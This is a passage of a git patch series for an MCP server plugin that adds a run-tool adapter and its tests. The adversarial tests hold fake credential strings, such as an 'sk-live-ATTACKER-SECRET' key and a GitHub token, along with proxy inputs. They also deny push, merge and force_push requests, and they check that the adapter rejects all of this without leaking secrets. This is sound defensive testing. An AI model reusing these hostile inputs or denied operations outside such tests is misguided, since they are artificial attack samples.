plan.task_id, + ...(typeof plan.cursor === 'string' ? { cursor: plan.cursor } : {}), + }); + const projected = projectSupervisorTerminalReceipt(result.task); + return { + task_id: projected.id, + status: projected.status, + cursor: result.progress?.event_cursor ?? plan.cursor ?? '0', + attention: projected.status === 'needs_attention' ? (projected.attention ?? null) : null, + }; + }, + cancelTask: async (plan) => { + const task = await cancelTask(root, plan.task_id); + const projected = projectSupervisorTerminalReceipt(task); + return { task_id: projected.id, status: projected.status }; + }, + }; +} + +export function createSupervisorRunToolAdapter(options = {}) { + if (options.adapter) return options.adapter; + const contextByRun = options.contextByRun ?? new Map(); + const root = options.root; + const fns = liveTaskFns(root, contextByRun); + const seams = options.seams ?? createInProcessRunSeams({ + delegateTask: options.delegateTask ?? fns.delegateTask, + inspectTask: options.inspectTask ?? fns.inspectTask, + cancelTask: options.cancelTaskFn ?? fns.cancelTask, + settleLocalTaskLifecycle: options.settleLocalTaskLifecycle ?? settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: options.cleanupLocalTaskLifecycle ?? cleanupLocalTaskLifecycle, + clock: options.clock ?? (() => new Date().toISOString()), + }); + return createRunToolAdapter({ + runtime: seams.runtime, + attention: seams.attention, + projectLaneTask: projectSupervisorTerminalReceipt, + classifyLaneTask: classifySupervisorTerminalReceipt, + rememberSubmitContext: (context) => { + contextByRun.set(context.run_id, context); + }, + }); +} + +export function supervisorRunToolAdapter(root, options = {}) { + if (options.adapter) return options.adapter; + const key = typeof root === 'string' ? root : ''; + let adapter = runToolAdapters.get(key); + if (!adapter) { + adapter = createSupervisorRunToolAdapter({ root, ...options }); + runToolAdapters.set(key, adapter); + } + return adapter; +} + +export async function invokeRunTool(root, name, args, options = {}) { + const classified = classifyRunToolCall(name, args); + if (classified.mode === 'legacy') return classified; + const adapter = supervisorRunToolAdapter(root, options); + return adapter.dispatch(name, args); +} + +export { classifyRunToolCall }; From 2450a112fcb103b10d8aa61feae0b30e8ca55c95 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 01:47:54 +0000 Subject: [PATCH 144/151] test(v3): prove R-CUTOVER catalog stability and hostile fail-closed Cover five-tool catalog stability, omitted 3.2.1 compatibility, validation-before-side-effects, 1-8 lane aggregation, attention/reply semantics, P22 isolation, unresolved blocking, evidence redaction, lifecycle/cleanup authority, P35 ref preservation, and denied remote mutation without weakening accepted 3.2.1 tests. --- .../fixtures/r1-run-tool-adapter-fixtures.mjs | 142 ++++++++ .../r1-run-tool-adapter-adversarial.test.mjs | 192 ++++++++++ .../test/r1-run-tool-adapter.test.mjs | 336 ++++++++++++++++++ .../codex-co-engineer/test/v3-server.test.mjs | 77 +++- .../test/v3-supervisor.test.mjs | 27 ++ 5 files changed, 770 insertions(+), 4 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs new file mode 100644 index 0000000..16de4c6 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs @@ -0,0 +1,142 @@ +// Isolated R-CUTOVER run-tool-adapter fixtures. Tests own the assertions. + +import { denyWorkerRemoteMutation } from '../../mcp/v3/credential-boundary.mjs'; +import { + classifySupervisorTerminalReceipt, + projectSupervisorTerminalReceipt, +} from '../../mcp/v3/supervisor.mjs'; +import { + createRunToolAdapter, +} from '../../mcp/v3/run-tool-adapter.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + HOSTILE_SECRET, + NOW, + RUN_ID, + TASK_ID, + createClock, + createLifecycleFns, + createMemoryAttentionBatch, + createMemoryScheduler, + createRuntime, + makeAssignment, + makeSubmitRequest, + makeVerifier, +} from './r1-run-runtime-fixtures.mjs'; +import { makeSubmission } from './r1-run-store-fixtures.mjs'; +import { + legitimateCompletedReceipt, + zeroWorkPingTimeoutReceipt, +} from './r1-supervisor-result-truthfulness-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + BASE_SHA, + HOSTILE_SECRET, + NOW, + RUN_ID, + TASK_ID, + legitimateCompletedReceipt, + makeAssignment, + makeSubmitRequest, + makeVerifier, + zeroWorkPingTimeoutReceipt, +}; + +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; +export const HOSTILE_ENV = 'MODEL_API_KEY=sk-live-ATTACKER-SECRET'; +export const CONTENT_FREE = /^[A-Za-z0-9 ._/-]{1,160}$/u; + +export function countingProxy(target = {}) { + const traps = { get: 0, getOwnPropertyDescriptor: 0, ownKeys: 0 }; + const proxy = new Proxy(target, { + get(obj, key) { + traps.get += 1; + if (key === 'run_id') return RUN_ID; + return obj[key]; + }, + getOwnPropertyDescriptor(obj, key) { + traps.getOwnPropertyDescriptor += 1; + return Object.getOwnPropertyDescriptor(obj, key); + }, + ownKeys(obj) { + traps.ownKeys += 1; + return Reflect.ownKeys(obj); + }, + }); + return { proxy, traps }; +} + +export function makeRunArgs(overrides = {}) { + const request = makeSubmitRequest(overrides); + return { + run: { + ...request, + objective: overrides.objective ?? 'implement the bounded assignment', + ...(overrides.profile ? { profile: overrides.profile } : {}), + }, + }; +} + +export function createCountingRuntime(options = {}) { + const created = createRuntime({ + scheduler: options.scheduler ?? createMemoryScheduler(options.schedulerOptions), + attentionBatch: options.attentionBatch ?? createMemoryAttentionBatch(), + lifecycle: options.lifecycle ?? createLifecycleFns(options.lifecycleOptions), + clock: options.clock ?? createClock(), + ...options.runtimeOverrides, + }); + const calls = { + submit: [], + inspect: [], + resume: [], + cancel: [], + }; + const runtime = { + async submitRun(request) { + calls.submit.push(request); + if (typeof options.beforeSubmit === 'function') options.beforeSubmit(request); + return created.runtime.submitRun(request); + }, + async inspectRun(request) { + calls.inspect.push(request); + const receipt = await created.runtime.inspectRun(request); + if (typeof options.decorateInspect === 'function') { + return options.decorateInspect(receipt); + } + return receipt; + }, + async resumeRun(request) { + calls.resume.push(request); + return created.runtime.resumeRun(request); + }, + async cancelRun(request) { + calls.cancel.push(request); + return created.runtime.cancelRun(request); + }, + }; + return { ...created, runtime, calls }; +} + +export function createAdapter(options = {}) { + const counting = options.runtime + ? { runtime: options.runtime, attentionBatch: options.attention, calls: options.calls ?? {} } + : createCountingRuntime(options); + const dependencies = { + runtime: counting.runtime, + attention: options.attention ?? counting.attentionBatch, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }; + if (typeof options.rememberSubmitContext === 'function') { + dependencies.rememberSubmitContext = options.rememberSubmitContext; + } + const adapter = createRunToolAdapter(dependencies); + return { adapter, ...counting }; +} + +export function denyRemote(operation) { + return denyWorkerRemoteMutation(operation); +} diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs new file mode 100644 index 0000000..7d29210 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -0,0 +1,192 @@ +// R-CUTOVER adversarial coverage: catalog stability, omission compatibility, +// validation-before-side-effects, learned routing, P22 isolation, proxies, +// mixed operations, evidence leaks, cleanup without proof, and remote +// mutation denial. + +import assert from 'node:assert/strict'; +import { inspect, types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + classifyRunToolCall, + createRunToolAdapter, + denyRunToolRemoteMutationV1, +} from '../mcp/v3/run-tool-adapter.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_ENV, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + countingProxy, + createAdapter, + makeAssignment, + makeRunArgs, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }); +} + +function assertContentFree(error) { + const text = inspect({ + name: error.name, code: error.code, path: error.path, message: error.message, + }, { depth: 4, getters: true }); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes(HOSTILE_ENV), false); + assert.equal(text.includes('/tmp'), false); + assert.equal(typeof error.message, 'string'); + assert.ok(error.message.length > 0 && error.message.length <= 200); +} + +test('unknown sixth tool fails closed without dispatch', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('run', { run_id: RUN_ID })); + assert.equal(error.code, 'catalog_sixth_tool_denied'); + assert.equal(calls.submit.length, 0); + assert.equal(calls.inspect.length, 0); + assertContentFree(error); +}); + +test('learned routing and fallback keys never dispatch', async () => { + const { adapter, calls } = createAdapter(); + for (const key of ['router', 'rank', 'score', 'fallback_provider', 'learned']) { + const args = makeRunArgs(); + args.run[key] = 'grok'; + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.ok(error.code === 'learned_routing_denied' || error.code === 'replay_or_fallback_denied', + key); + assert.equal(calls.submit.length, 0, key); + assertContentFree(error); + } +}); + +test('P22 and unknown providers are rejected before registry composition', async () => { + const { adapter, calls } = createAdapter(); + for (const provider of ['p22', 'future-harness', 'conformance', 'openai']) { + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [makeAssignment({ provider, model: 'anything' })], + }))); + assert.ok(error.code === 'p22_not_a_provider' || error.code === 'unknown_provider', provider); + assert.equal(calls.submit.length, 0, provider); + assertContentFree(error); + } +}); + +test('proxy and accessor inputs fail before side effects', async () => { + const { adapter, calls } = createAdapter(); + const { proxy, traps } = countingProxy({ run_id: RUN_ID }); + const classified = classifyRunToolCall('status', proxy); + assert.equal(classified.mode, 'run'); + const error = await errorOf(() => adapter.dispatch('status', proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(calls.inspect.length, 0); + assert.ok(traps.get >= 0); + const accessor = {}; + Object.defineProperty(accessor, 'run', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => adapter.dispatch('delegate', accessor)); + assert.ok(accessorError instanceof RunContractV1Error); + assert.equal(calls.submit.length, 0); + assertContentFree(accessorError); +}); + +test('mixed run operations and mixed 3.2.1 fields fail closed', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const mixed = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [{ assignment_id: ASSIGNMENT_ID }] }, + run_reply: { batch_id: 'att-x', reply: {} }, + })); + assert.equal(mixed.code, 'mixed_run_operation'); + const withTaskId = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + task_id: 'legacy-task', + })); + assert.equal(withTaskId.code, 'mixed_tool_mode'); + const withReply = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + reply: { session_id: 's', question_id: 'q', response: 'x' }, + })); + assert.equal(withReply.code, 'mixed_tool_mode'); + const listMix = await errorOf(() => adapter.dispatch('tasks', { + run_id: RUN_ID, + provider: 'grok', + })); + assert.equal(listMix.code, 'mixed_tool_mode'); + assert.equal(calls.resume.length, 0); + assert.equal(calls.cancel.length, 0); +}); + +test('omitted provider/model is unresolved and does not invent a route', async () => { + const { adapter, calls } = createAdapter(); + const assignment = makeAssignment(); + delete assignment.provider; + delete assignment.model; + assignment.profile = 'deep-security-review'; + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [assignment], + profile: 'deep-security-review', + }))); + assert.equal(error.code, 'selection_unresolved'); + assert.equal(calls.submit.length, 0); +}); + +test('merge, push, PR, and remote keys never create refs or mutate remotes', async () => { + const { adapter, calls } = createAdapter(); + for (const key of ['push', 'merge', 'create_pr', 'github', 'remote', 'candidate']) { + const args = makeRunArgs(); + args.run[key] = true; + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.ok([ + 'remote_mutation_denied', + 'merge_authority_denied', + 'candidate_authority_denied', + ].includes(error.code), key); + assert.equal(calls.submit.length, 0, key); + assertContentFree(error); + } + assert.throws(() => denyRunToolRemoteMutationV1('force_push')); +}); + +test('cleanup is not invoked when the run id is invalid', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('cancel', { + run_id: 'NOT_A_RUN', + cleanup: true, + })); + assert.equal(error.code, 'invalid_format'); + assert.equal(calls.cancel.length, 0); + assert.equal(calls.inspect.length, 0); + assertContentFree(error); +}); + +test('replay keys on resume/cancel never reach the runtime', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const replay = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + replay: true, + })); + assert.equal(replay.code, 'replay_or_fallback_denied'); + const fallback = await errorOf(() => adapter.dispatch('cancel', { + run_id: RUN_ID, + fallback_provider: 'grok', + })); + assert.equal(fallback.code, 'replay_or_fallback_denied'); + assert.equal(calls.cancel.length, 0); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs new file mode 100644 index 0000000..410b19c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs @@ -0,0 +1,336 @@ +// R-CUTOVER run-tool-adapter focused coverage: five-tool catalog, omitted +// 3.2.1 compatibility, 1-8 lane aggregation, attention/reply, provider +// isolation, unresolved blocking, evidence redaction, lifecycle/cleanup, +// P35 ref authority, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CANDIDATE_REF_NAMESPACE, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, +} from '../mcp/v3/git-authority.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + describeProviderRegistryV1, +} from '../mcp/v3/provider-registry.mjs'; +import { + PUBLIC_MCP_CATALOG, + RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_TOOL_ADAPTER_SCHEMA_ID, + RUN_TOOL_OPERATIONS, + classifyDeniedGitOperationV1, + classifyRunToolCall, + createRunToolAdapter, + denyRunToolRemoteMutationV1, + describeRunToolAdapterV1, +} from '../mcp/v3/run-tool-adapter.mjs'; +import { + ASSIGNMENT_ID, + RUN_ID, + TASK_ID, + createAdapter, + makeAssignment, + makeRunArgs, + makeVerifier, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; + +const MODULE_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/run-tool-adapter.mjs', import.meta.url)), + 'utf8', +); +const SERVER_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/server.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertDeniedSideEffects(receipt) { + for (const claim of RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.wake, false); + assert.equal(receipt.candidate.composed, false); + assert.equal(receipt.candidate.ready_for_codex_review, false); +} + +test('describeRunToolAdapterV1 keeps the five-tool catalog and four-slot registry', () => { + const first = describeRunToolAdapterV1(); + const second = describeRunToolAdapterV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_TOOL_ADAPTER_SCHEMA_ID); + assert.deepEqual(first.catalog, ['status', 'delegate', 'task', 'tasks', 'cancel']); + assert.equal(first.sixth_tool, false); + assert.deepEqual(first.operations, RUN_TOOL_OPERATIONS); + assert.deepEqual(first.registry_slots, [...PROVIDER_REGISTRY_SLOTS]); + assert.equal(first.p22.composable, false); + assert.equal(first.p22.provider_slot, null); + assert.equal(first.candidate_ref_authority, 'p35'); + assert.equal(first.lifecycle_authority, 'p33'); + assert.equal(first.attention_authority, 'p34'); + assert.equal(first.truth_projection, 'r-truth'); + const registry = describeProviderRegistryV1(); + assert.equal(registry.slots.length, 4); + assert.equal(registry.future_harness.provider_slot, null); +}); + +test('omitted additive fields classify as legacy 3.2.1 on every public tool', () => { + assert.equal(classifyRunToolCall('status', {}).mode, 'legacy'); + assert.equal(classifyRunToolCall('status', { detail: 'compact', include_tasks: false }).mode, 'legacy'); + assert.equal(classifyRunToolCall('delegate', { + task_id: 't1', provider: 'grok', repo: '/repo', prompt: 'go', expected_duration_ms: 1000, + }).mode, 'legacy'); + assert.equal(classifyRunToolCall('task', { task_id: 't1', wait_until: 'terminal', reply: { + session_id: 's', question_id: 'q', response: 'ok', + } }).mode, 'legacy'); + assert.equal(classifyRunToolCall('tasks', { task_ids: ['a'], wait_until: 'progress' }).mode, 'legacy'); + assert.equal(classifyRunToolCall('cancel', { task_id: 't1' }).mode, 'legacy'); + assert.equal(classifyRunToolCall('task', { task_id: 't1', wait_until: 'decision_or_attention' }).mode, 'run'); + assert.equal(classifyRunToolCall('status', { run_id: RUN_ID }).mode, 'run'); +}); + +test('submit maps delegate.run onto one 1-8 lane runtime submission', async () => { + const { adapter, calls } = createAdapter(); + const receipt = await adapter.dispatch('delegate', makeRunArgs()); + assert.equal(receipt.mode, 'run'); + assert.equal(receipt.operation, 'submit'); + assert.equal(receipt.tool, 'delegate'); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_count, 1); + assert.equal(receipt.lanes.length, 1); + assert.equal(receipt.lanes[0].assignment_id, ASSIGNMENT_ID); + assert.equal(calls.submit.length, 1); + assert.equal(Object.hasOwn(calls.submit[0].assignments[0], 'prompt'), false); + assertDeniedSideEffects(receipt); + assert.equal(isRunOwnedCandidateRefV1(receipt.candidate.ref, RUN_ID), true); + assert.equal(receipt.candidate.ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.match(receipt.candidate.ref, new RegExp(`^${CANDIDATE_REF_NAMESPACE}`)); +}); + +test('eight-lane submit aggregates and a required unresolved lane blocks the candidate', async () => { + const assignments = [ + makeAssignment({ assignmentId: 'w1', taskId: 'task-w1', writeScope: ['a/**'] }), + makeAssignment({ assignmentId: 'w2', taskId: 'task-w2', writeScope: ['b/**'] }), + makeAssignment({ assignmentId: 'w3', taskId: 'task-w3', writeScope: ['c/**'] }), + makeAssignment({ assignmentId: 'w4', taskId: 'task-w4', writeScope: ['d/**'] }), + makeVerifier('r1'), + makeVerifier('r2'), + makeVerifier('r3'), + makeAssignment({ + assignmentId: 'w-fail', + taskId: 'task-w-fail', + writeScope: ['z/**'], + }), + ]; + const { adapter, scheduler } = createAdapter({ + schedulerOptions: { delegateErrorFor: new Set(['w-fail']) }, + }); + const receipt = await adapter.dispatch('delegate', makeRunArgs({ assignments })); + assert.equal(receipt.assignment_count, 8); + assert.equal(receipt.lanes.length, 8); + assert.equal(scheduler.calls.submit, 1); + const failed = receipt.lanes.find((lane) => lane.assignment_id === 'w-fail'); + assert.equal(failed.status, 'unresolved'); + assert.equal(failed.required, true); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.decision_or_attention.unresolved_required_blocks, true); + const continued = receipt.lanes.filter((lane) => lane.assignment_id !== 'w-fail'); + assert.equal(continued.every((lane) => lane.status !== 'unresolved' || lane.required === false), true); +}); + +test('validation failure produces zero provider dispatch, ref creation, or cleanup', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('delegate', { + run: { + ...makeRunArgs().run, + assignments: [makeAssignment({ provider: 'p22', model: 'harness' })], + }, + })); + assert.equal(error.code, 'p22_not_a_provider'); + assert.equal(calls.submit.length, 0); + assert.equal(calls.cancel.length, 0); + const mix = await errorOf(() => adapter.dispatch('delegate', { + task_id: 'legacy', + provider: 'grok', + repo: '/repo', + prompt: 'nope', + expected_duration_ms: 1000, + ...makeRunArgs(), + })); + assert.equal(mix.code, 'mixed_tool_mode'); + assert.equal(calls.submit.length, 0); + const direct = await errorOf(() => adapter.dispatch('delegate', { + run: { ...makeRunArgs().run, workspace_mode: 'direct' }, + })); + assert.equal(direct.code, 'direct_mode_rejected'); + assert.equal(calls.submit.length, 0); + const nine = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: Array.from({ length: 9 }, (_, index) => makeAssignment({ + assignmentId: `lane-${index}`, + taskId: `task-${index}`, + writeScope: [`s${index}/**`], + })), + }))); + assert.equal(nine.code, 'out_of_range'); + assert.equal(calls.submit.length, 0); +}); + +test('status/wait/attention/reply/cancel/cleanup map through frozen additive parameters', async () => { + const { adapter, calls, attentionBatch } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const status = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(status.operation, 'status'); + assert.equal(status.audience, 'model'); + const wait = await adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + }); + assert.equal(wait.operation, 'wait'); + assert.equal(wait.decision_or_attention.wake, false); + const aggregate = await adapter.dispatch('tasks', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + }); + assert.equal(aggregate.operation, 'wait'); + assert.equal(aggregate.assignment_count, 1); + const attention = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [{ + assignment_id: ASSIGNMENT_ID, + task_id: TASK_ID, + provider: 'grok', + required: true, + session_id: 'sess-1', + question_id: 'q-1', + event_cursor: '0', + reply_capability: 'same_session', + }], + }, + }); + assert.equal(attention.operation, 'attention'); + assert.equal(calls.resume.length, 1); + const reply = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: { round: 1, batch_id: `att-${RUN_ID}`, answers: [{ + assignment_id: ASSIGNMENT_ID, question_id: 'q-1', session_id: 'sess-1', + task_id: TASK_ID, response: 'ship-it', + }] }, + }, + }); + assert.equal(reply.operation, 'reply'); + assert.equal(attentionBatch.calls.reply, 1); + const cancel = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancel.operation, 'cancel'); + const cleanup = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + }); + assert.equal(cleanup.operation, 'cleanup'); + assert.equal(cleanup.cleanup.proof_bound, true); +}); + +test('model-facing receipts redact raw artifacts and R-TRUTH-correct false success', async () => { + const { adapter } = createAdapter({ + decorateInspect: (receipt) => ({ + ...receipt, + lanes: receipt.lanes.map((lane) => ({ + ...lane, + artifacts: { raw: 'sk-live-ATTACKER-SECRET', bytes: [1, 2, 3], projection: 'ok' }, + task: zeroWorkPingTimeoutReceipt({ id: lane.task_id ?? TASK_ID }), + })), + }), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + const lane = inspected.lanes[0]; + assert.equal(Object.hasOwn(lane.artifacts, 'raw'), false); + assert.equal(Object.hasOwn(lane.artifacts, 'bytes'), false); + assert.equal(lane.task.status, 'failed'); + assert.equal(lane.truth.corrected, true); + const serialized = JSON.stringify(inspected); + assert.doesNotMatch(serialized, /sk-live/u); + assert.doesNotMatch(serialized, /ATTACKER-SECRET/u); +}); + +test('unsupported same-session providers cancel only the affected lane', async () => { + const dsh = makeAssignment({ + assignmentId: 'dsh-lane', + taskId: 'task-dsh', + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + writeScope: ['docs/**'], + }); + const writer = makeAssignment(); + const { adapter } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs({ assignments: [writer, dsh] })); + const receipt = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [ + { + assignment_id: 'dsh-lane', + task_id: 'task-dsh', + provider: 'dsh', + required: true, + session_id: 'sess-dsh', + question_id: 'q-dsh', + event_cursor: '0', + reply_capability: 'unsupported', + }, + ], + }, + }); + assert.equal(receipt.complete_candidate_blocked, true); + const dshLane = receipt.lanes.find((lane) => lane.assignment_id === 'dsh-lane'); + const other = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID); + assert.ok(other); + assert.ok(dshLane); +}); + +test('P35 candidate namespace is preserved and remote mutation stays denied', () => { + const receipt = classifyDeniedGitOperationV1(RUN_ID, 'push'); + assert.equal(receipt.verdict, 'denied'); + assert.throws(() => denyRunToolRemoteMutationV1('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyRunToolRemoteMutationV1('create_pr'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyRunToolRemoteMutationV1('merge'), (error) => error.code === 'remote_mutation_denied'); + const ref = expectedCandidateRefV1({ run_id: RUN_ID }); + assert.equal(isRunOwnedCandidateRefV1(ref, RUN_ID), true); +}); + +test('server source still advertises exactly five public tools', () => { + const names = [...SERVER_SOURCE.matchAll(/name: '([^']+)'/gu)].map((match) => match[1]).slice(0, 5); + assert.deepEqual(names, [...PUBLIC_MCP_CATALOG]); + assert.match(SERVER_SOURCE, /decision_or_attention/u); + assert.match(MODULE_SOURCE, /Sol-frozen additive/u); + assert.doesNotMatch(MODULE_SOURCE, /sixth tool/iu); +}); + +test('createRunToolAdapter rejects extra injected seams before dispatch', async () => { + const { runtime, attentionBatch } = createAdapter(); + assert.throws( + () => createRunToolAdapter({ runtime, attention: attentionBatch, scheduler: {} }), + (error) => error.code === 'unknown_key', + ); +}); diff --git a/plugins/codex-co-engineer/test/v3-server.test.mjs b/plugins/codex-co-engineer/test/v3-server.test.mjs index b990cc8..1f31eac 100644 --- a/plugins/codex-co-engineer/test/v3-server.test.mjs +++ b/plugins/codex-co-engineer/test/v3-server.test.mjs @@ -99,22 +99,27 @@ test('advertises only the thin public tool surface', async () => { assert.equal(values[0].result.serverInfo.title, 'Codex-Co-Engineer'); assert.equal(values[0].result.serverInfo.version, '3.2.1'); assert.deepEqual(values[1].result.tools.map((tool) => tool.name), ['status', 'delegate', 'task', 'tasks', 'cancel']); + assert.equal(values[1].result.tools.length, 5); const statusTool = values[1].result.tools.find((tool) => tool.name === 'status'); assert.deepEqual(Object.keys(statusTool.inputSchema.properties), [ - 'detail', 'task_limit', 'include_tasks', 'response_mode', + 'detail', 'task_limit', 'include_tasks', 'response_mode', 'run_id', ]); const taskTool = values[1].result.tools.find((tool) => tool.name === 'task'); assert.deepEqual(Object.keys(taskTool.inputSchema.properties), [ 'task_id', 'wait_ms', 'wait_until', 'wake_on_needs_attention', 'view', 'cursor', 'max_bytes', 'extend_expected_duration_ms', 'extend_reason', 'reply', 'response_mode', + 'run_id', 'assignment_id', 'attention', 'run_reply', ]); assert.equal(taskTool.inputSchema.properties.wait_ms.maximum, 14400000); + assert.equal(taskTool.inputSchema.properties.wait_until.enum[0], 'progress'); assert.equal(taskTool.inputSchema.properties.wait_until.enum[1], 'terminal'); + assert.equal(taskTool.inputSchema.properties.wait_until.enum[2], 'decision_or_attention'); assert.deepEqual(taskTool.inputSchema.properties.response_mode.enum, ['structured']); const tasksTool = values[1].result.tools.find((tool) => tool.name === 'tasks'); assert.deepEqual(Object.keys(tasksTool.inputSchema.properties), [ 'detail', 'limit', 'cursor', 'provider', 'state', 'status', 'response_mode', 'task_ids', 'cursors', 'wait_ms', 'wait_until', 'wake_on_needs_attention', + 'run_id', ]); for (const tool of values[1].result.tools) { assert.deepEqual(tool.inputSchema.properties.response_mode.enum, ['structured']); @@ -122,7 +127,7 @@ test('advertises only the thin public tool surface', async () => { } const delegateTool = values[1].result.tools.find((tool) => tool.name === 'delegate'); assert.match(delegateTool.description, /property named repo/u); - assert.deepEqual(delegateTool.inputSchema.required, ['task_id', 'provider', 'repo', 'prompt']); + assert.deepEqual(delegateTool.inputSchema.allOf[0].else.required, ['task_id', 'provider', 'repo', 'prompt']); assert.match(delegateTool.inputSchema.properties.repo.description, /Required property named repo/u); assert.match(delegateTool.inputSchema.properties.repo.description, /\/absolute\/path\/to\/git-worktree/u); assert.match(delegateTool.inputSchema.properties.repo.description, /Do not rename this property to git_root/u); @@ -137,10 +142,13 @@ test('advertises only the thin public tool surface', async () => { assert.ok(Object.hasOwn(delegateTool.inputSchema.properties, 'expected_duration_ms')); assert.equal(delegateTool.inputSchema.properties.expected_duration_ms.maximum, 86400000); assert.equal(delegateTool.inputSchema.properties.timeout_ms.maximum, 103680000); - assert.deepEqual(delegateTool.inputSchema.anyOf, [ + assert.deepEqual(delegateTool.inputSchema.allOf[0].else.anyOf, [ { required: ['expected_duration_ms'] }, { required: ['timeout_ms'] }, ]); + assert.ok(Object.hasOwn(delegateTool.inputSchema.properties, 'run')); + assert.equal(delegateTool.inputSchema.properties.run.properties.assignments.minItems, 1); + assert.equal(delegateTool.inputSchema.properties.run.properties.assignments.maxItems, 8); assert.match(taskTool.description, /event_cursor/u); assert.match(taskTool.description, /Unsolicited stdio callbacks/u); assert.match(taskTool.description, /view=compact/u); @@ -148,8 +156,14 @@ test('advertises only the thin public tool surface', async () => { 